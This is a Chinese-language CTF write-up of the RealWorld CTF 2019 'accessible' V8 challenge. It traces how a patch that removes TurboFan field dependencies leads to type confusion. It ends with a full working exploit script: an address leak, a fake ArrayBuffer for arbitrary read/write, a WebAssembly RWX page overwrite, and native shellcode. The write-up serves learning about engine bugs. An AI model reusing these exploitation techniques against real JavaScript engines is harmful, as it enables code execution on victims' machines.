RealWorld ctf 2019 accessible writeup

​ 这道题中,主要涉及v8中的dependency机制,由于patch文件删除了某些添加依赖(dependency)的代码,导致在生成的JIT代码中,即使某些元素类型发生了变化也不会触发deoptimize,从而导致type confusion。

​ 在这篇writeup里我主要记录我分析的过程,因为我事先从已有的wp中知道到了一些结论性的东西,所以我试图找到一个从零逐步寻找得到最后结果的逻辑,这个过程中可能会显得比较啰嗦。

调试环境

具体环境搭建步骤就不详述了,patch文件在这里下载

1
2
3
4
5
git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

漏洞分析

首先分析题目patch文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc
index 0744138..1df06df 100644
--- a/src/compiler/access-info.cc
+++ b/src/compiler/access-info.cc
@@ -370,9 +370,11 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
+#endif
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
@@ -384,15 +386,17 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+#endif

PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
- constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+ constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());

AccessInfoFactory::ComputeDataFieldAccessInfo函数中,有两处unrecorded_dependencies.push_back被删除掉,同时让constness始终被赋值为PropertyConstness::kConst

先浏览一下整个函数的功能(以下为patch后的代码),首先获取了map中的instance_descriptors(存储了对象属性的元信息),然后通过descriptor定位到了一个具体的属性。

1
2
3
4
5
6
7
8
9
PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
Handle<Map> receiver_map, Handle<Map> map, MaybeHandle<JSObject> holder,
int descriptor, AccessMode access_mode) const {
...
Handle<DescriptorArray> descriptors(map->instance_descriptors(), isolate());
PropertyDetails const details = descriptors->GetDetails(descriptor);
...
Representation details_representation = details.representation();
...

依次判断属性的类型,在进行一定的检查后,将属性加入到unrecorded_dependencies中。patch导致了一些本应该加入到unrecorded_dependencies的属性没有被加入进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  if (details_representation.IsNone()) {
...
}
ZoneVector<CompilationDependency const*> unrecorded_dependencies(zone());
if (details_representation.IsSmi()) {
...
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
} else if (details_representation.IsDouble()) {
...
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(
map_ref, descriptor));
} else if (details_representation.IsHeapObject()) {
...
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
#endif
} else {
...
}
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
#endif
...

最后,因为patch的修改,使得所有属性都被标注为KConst

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
switch (constness) {
case PropertyConstness::kMutable:
return PropertyAccessInfo::DataField(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
case PropertyConstness::kConst:
return PropertyAccessInfo::DataConstant(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
}

在这里,这个unrecorded_dependencies显然是问题的关键。

继续跟踪函数返回值可以发现最终返回的是一个PropertyAccessInfo对象,而unrecorded_dependencies则是被初始化赋值给私有成员unrecorded_dependencies_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PropertyAccessInfo::PropertyAccessInfo(
Kind kind, MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
ZoneVector<Handle<Map>>&& receiver_maps,
ZoneVector<CompilationDependency const*>&& unrecorded_dependencies)
: kind_(kind),
receiver_maps_(receiver_maps),
unrecorded_dependencies_(std::move(unrecorded_dependencies)),
transition_map_(transition_map),
holder_(holder),
field_index_(field_index),
field_representation_(field_representation),
field_type_(field_type),
field_owner_map_(field_owner_map),
field_map_(field_map) {
DCHECK_IMPLIES(!transition_map.is_null(),
field_owner_map.address() == transition_map.address());
}

查找引用该私有成员的代码,主要有两个函数

1
2
3
4
bool PropertyAccessInfo::Merge(PropertyAccessInfo const* that,
AccessMode access_mode, Zone* zone)
void PropertyAccessInfo::RecordDependencies(
CompilationDependencies* dependencies)

其中Merge函数中合并了两个unrecorded_dependencies_,RecordDependencies函数中将unrecorded_dependencies_转移到了CompilationDependencies类的私有成员dependencies_并清空了自身

浏览CompilationDependencies类所在的compilation-dependency.cc(.h)文件,从注释中可以得知该类用于收集和安装正在生成的代码的依赖。

在文件中查找dependencies_,发现主要引用的代码均为遍历dependencies_并调用IsValid()

IsValid()CompilationDependencies的每个子类所重载,根据代码,其功能我的理解是用于判断某个元素是否已经改变或者过时。

1570302566839

为了进一步了解该类的作用,我在搜索了引用该头文件的代码。可以发现,结果中几乎都是用于JIT优化的文件。

1570303235645

逐个跟进文件查看后,我在compilation-dependencies.cc中注意到了以下部分代码。从代码中可以看出,Ruduce过程中,可以通过添加dependency的方式来将CheckMaps节点删除,我认为这便是道题的root cause.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Reduction TypedOptimization::ReduceCheckMaps(Node* node) {
// The CheckMaps(o, ...map...) can be eliminated if map is stable,
// o has type Constant(object) and map == object->map, and either
// (1) map cannot transition further, or
// (2) we can add a code dependency on the stability of map
// (to guard the Constant type information).
Node* const object = NodeProperties::GetValueInput(node, 0);
Type const object_type = NodeProperties::GetType(object);
Node* const effect = NodeProperties::GetEffectInput(node);
base::Optional<MapRef> object_map =
GetStableMapFromObjectType(broker(), object_type);
if (object_map.has_value()) {
for (int i = 1; i < node->op()->ValueInputCount(); ++i) {
Node* const map = NodeProperties::GetValueInput(node, i);
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
map_type.AsHeapConstant()->Ref().equals(*object_map)) {
if (object_map->CanTransition()) {
dependencies()->DependOnStableMap(*object_map);
}
return Replace(effect);
}
}
}
return NoChange();
}
1
2
// Record the assumption that {map} stays stable.
void DependOnStableMap(const MapRef& map);

总结

结合一些资料,对dependency我的理解是

对于JS类型的不稳定性,v8中有两种方式被用来保证runtime优化代码中对类型假设的安全性

  1. 通过添加CheckMaps节点来对类型进行检查,当类型不符合预期时将会bail out
  2. 以dependency的方式。将可能影响map假设的元素添加到dependencies中,通过检查这些dependency的改变来触发回调函数进行deoptimize

该题目中,因为删除了某些添加dependency的代码,这就导致在代码runtime中,某些元素的改变不会被检测到从而没有deoptimize,最终造成type confusion。

构造POC

patch删除了details_representation.IsHeapObject()分支中的unrecorded_dependencies.push_back操作,这意味HeapObject类型不会被加入dependencies中。

运行以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var obj = {};
obj.c = {a: 1.1};

function leaker(o){
return o.c.a;
}
for (var i = 0; i < 0x4000; i++) {
leaker(obj);
}

var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}

console.log(leaker(obj)) //output: 2.0289592652999e-310

以上代码中,将字典{a: 1.1}加入到obj中,函数leaker返回o.c.a

将obj作为参数传入leaker,生成JIT代码后,用{b: buf_to_leak}替换掉原来的字典,再次调用leaker(obj),可以发现并没有触发deoptimize,而是输出了一个double值(buf_to_leak的地址)

其原因正是因为{a: 1.1}对象并没有被添加到dependency中,导致后期修改时并没有被检测到,从而导致问题。

注意:修改obj.c时不能使用同属性名,如{a: buf_to_leak},因为事实上仍然存在一些依赖会影响到deoptimize,这点我没有找到更详细的解释,希望有师傅能够解释一下。参考:https://twitter.com/itszn13/status/1173627505485516801?s=20

使用Turbolizer可视化程序IR,验证我们的猜想

1
2
3
4
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer

使用以下命令执行代码,并使用浏览器访问127.0.0.1:8000打开生成的文件

1
./out.gn/x64.debug/d8 --trace-turbo ../../../exps/accessible/poc.js --trace-turbo-path ../

可以看到,在TyperLowering时还存在两次CheckMaps,分别对应obj和obj.c

1570517063001

而到了SimplifiedLowering时已经只有对obj的CheckMaps了,这说明obj.c的转为使用dependency的方式来进行检查。

1570517097221

漏洞利用

既然存在type confusion,那么我们可以用JSArray来伪造一个ArrayBuffer,即可控制到BackingStore,从而实现任意读写。

对象地址泄露

在poc中我们已经实现了该功能

1
2
3
4
5
6
7
8
9
10
11
12
var obj1 = {c: {x: 1.1}};
function leaker(o){
return o.c.x;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}

伪造ArrayBuffer

JSArray内存模型

我们首先进行如下调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
d8> var arr = [1.1, 2.2, 3.3]
d8> %DebugPrint(arr)
DebugPrint: 0x831db04dd99: [JSArray]
- map: 0x2b36a3c82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x251f23191111 <JSArray[0]>
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x25361adc0c71 <FixedArray[0]> {
#length: 0x3860ab3401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x2b36a3c82ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x2b36a3c82e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3860ab340609 <Cell value= 1>
- instance descriptors #1: 0x251f23191f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x251f23191eb9 <TransitionArray[4]>Transition array #1:
0x25361adc4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b36a3c82f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x251f23191111 <JSArray[0]>
- constructor: 0x251f23190ec1 <JSFunction Array (sfi = 0x3860ab34aca1)>
- dependent code: 0x25361adc02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

pwndbg> x/12gx 0x831db04dd99-1 // JSArray
0x831db04dd98: 0x00002b36a3c82ed9 0x000025361adc0c71 // Map Properties
0x831db04dda8: 0x00000831db04dd71 0x0000000300000000 // Elements Length
0x831db04ddb8: 0x000025361adc0941 0x00000adc7d437082
0x831db04ddc8: 0x6974636e7566280a 0x220a7b2029286e6f
0x831db04ddd8: 0x6972747320657375 0x2f2f0a0a3b227463
0x831db04dde8: 0x2065726f6d204120 0x6173726576696e75
pwndbg> x/12gx 0x831db04dd71-1 // Elements
0x831db04dd70: 0x000025361adc14f9 0x0000000300000000 // Map Length
0x831db04dd80: 0x3ff199999999999a 0x400199999999999a // 1.1 2.2
0x831db04dd90: 0x400a666666666666 0x00002b36a3c82ed9 // 3.3
0x831db04dda0: 0x000025361adc0c71 0x00000831db04dd71
0x831db04ddb0: 0x0000000300000000 0x000025361adc0941
0x831db04ddc0: 0x00000adc7d437082 0x6974636e7566280a

从地址很容易可以看出,在Elements的后面紧跟的就是JSArray对象的Map,布局如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+

这意味着我们可以通过JSArray对象的地址来计算得到其Elements的地址,这为我们之后伪造ArrayBuffer后寻找其地址提供了便利。

trick:在调试过程中会发现,Elements并不是始终紧邻JSArray的,有些时候两者会相距一段距离。在师傅们的wp中提到可以使用splice来使该布局稳定,例如

1
var arr = [1.1, 2.2, 3.3].splice(0);

具体原理我没有找到相关资料。。可能只有等以后读了源码才知道吧(有师傅知道的话可以说说吗

ArrayBuffer内存模型

在伪造ArrayBuffer的时候需要同时也伪造出它的Map的结构(当然,也可以对内存中ArrayBuffer的Map地址进行泄露,但是就麻烦了),通过找到JSArray的地址,+0x40即为map的地址,再将map地址填入JSArray的第一项即可。

这部分可以通过调试一个真正的ArrayBuffer并将其Map复制下来(这里并不需要全部的数据)。关于Map的内存模型可以参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var fake_ab = [ 
//map|properties
mem.u2d(0x0), mem.u2d(0x0),
//elements|length
mem.u2d(0x0), mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0), mem.u2d(0x2),
//padding
mem.u2d(0x0), mem.u2d(0x0),
//fake map
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
].splice(0);

获取伪造的ArrayBuffer

和poc的代码类似,不过反了过来,先将填入一个ArrayBuffer进行优化,然后在ArrayBuffer处写入地址,则该地址将作为ArrayBuffer被解析

1
2
3
4
5
6
7
8
9
10
var ab = new ArrayBuffer(0x1000);
var obj2 = {d: {w: ab}};
function faker(o){
return o.d.w;
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}
obj2.d = {z: mem.u2d(fake_ab_addr)}; //将泄露的JSArray的Elements地址填入
real_ab = faker(obj2); //再读取出来

WASM

在v8利用中总是需要布置shellcode,那么在内存中找到一块具有RWX权限的区域将会十分有帮助。wasm(WebAssembly)详细概念就不在这介绍了,这里值得注意的是是用wasm可以在内存中开辟出一块RWX的内存空间。

这里可以将C语言编写的代码转换为wasm格式。当然,编写的c语言代码不能够调用库函数(不然就可以直接写rce了),但是只要通过漏洞,将我们的shellcode覆盖到内存中wasm代码所在rwx区域即可。

下文将展示如何定位到rwx内存区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//test.js
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
%DebugPrint(wasm_instance);

readline();

----------------------------------------------------------------------------------

pwndbg> r --allow-natives-syntax ../../exps/OOB/test.js
DebugPrint: 0x3a58a3a21241: [WasmInstanceObject] in OldSpace
- map: 0x0764807492b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00aad2e48559 <Object map = 0x7648074aa29>
- elements: 0x3b8a08680c01 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x00aad2e4d5b9 <Module map = 0x76480748d19>
...
pwndbg> x/32gx 0x3a58a3a21241-1
0x3a58a3a21240: 0x00000764807492b9 0x00003b8a08680c01
0x3a58a3a21250: 0x00003b8a08680c01 0x0000000000000000
0x3a58a3a21260: 0x0000000000000000 0x0000000000000000
0x3a58a3a21270: 0x000055f7cd11b8f0 0x00003b8a08680c01
0x3a58a3a21280: 0x000055f7cd1cd100 0x00003b8a086804b1
0x3a58a3a21290: 0x0000000000000000 0x0000000000000000
0x3a58a3a212a0: 0x0000000000000000 0x0000000000000000
0x3a58a3a212b0: 0x000055f7cd1cd180 0x000055f7cd11b910
0x3a58a3a212c0: 0x00000f8fe12f0000 <--RWX area
...
pwndbg> vmmap 0x00000f8fe12f0000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xf8fe12f0000 0xf8fe12f1000 rwxp 1000 0

instance+0x80处即存放了RWX区域的地址

1
2
3
4
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80; //获取存放RWX指针的地址

//然后将rwx_area_loc填入ArrayBuffer的BackingStore即可泄露出RWX区域地址

完整利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
function success(str, val){
console.log("[+]" + str + "0x" + val.toString(16));
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_ab = [
//map|properties
mem.u2d(0x0), mem.u2d(0x0),
//elements|length
mem.u2d(0x0), mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0), mem.u2d(0x2),
//padding
mem.u2d(0x0), mem.u2d(0x0),
//fake map
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
];

var ab = new ArrayBuffer(0x1000);
var obj1 = {c: {x: 1.1}};
var obj2 = {d: {w: ab}};

function leaker(o){
return o.c.x;
}
function faker(o){
return o.d.w;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}

function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}

fake_ab_addr = leak_obj(fake_ab) - 0x80;
wasm_inst_addr = leak_obj(wasm_instance) - 1;
success("fake_ab_addr: ", fake_ab_addr);
success("wasm_inst_addr: ", wasm_inst_addr);

fake_map_addr = fake_ab_addr + 0x40;
fake_mapmap_addr = fake_ab_addr + 0x80
rwx_area_loc = wasm_inst_addr + 0x80;

fake_ab[0] = mem.u2d(fake_map_addr);
fake_ab[4] = mem.u2d(rwx_area_loc);

obj2.d = {z: mem.u2d(fake_ab_addr)};
real_ab = faker(obj2);
view = new DataView(real_ab);

rwx_area_addr = mem.d2u(view.getFloat64(0, true));
success("rwx_area_addr: ", rwx_area_addr);

fake_ab[4] = mem.u2d(rwx_area_addr);

for (i = 0; i < shellcode.length; i++){
view.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

参考资料

  1. https://mem2019.github.io/jekyll/update/2019/09/16/Real-World-2019-Accessible.html
文章作者: Hpasserby
文章链接: https://hpasserby.top/post/9850d6ab.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏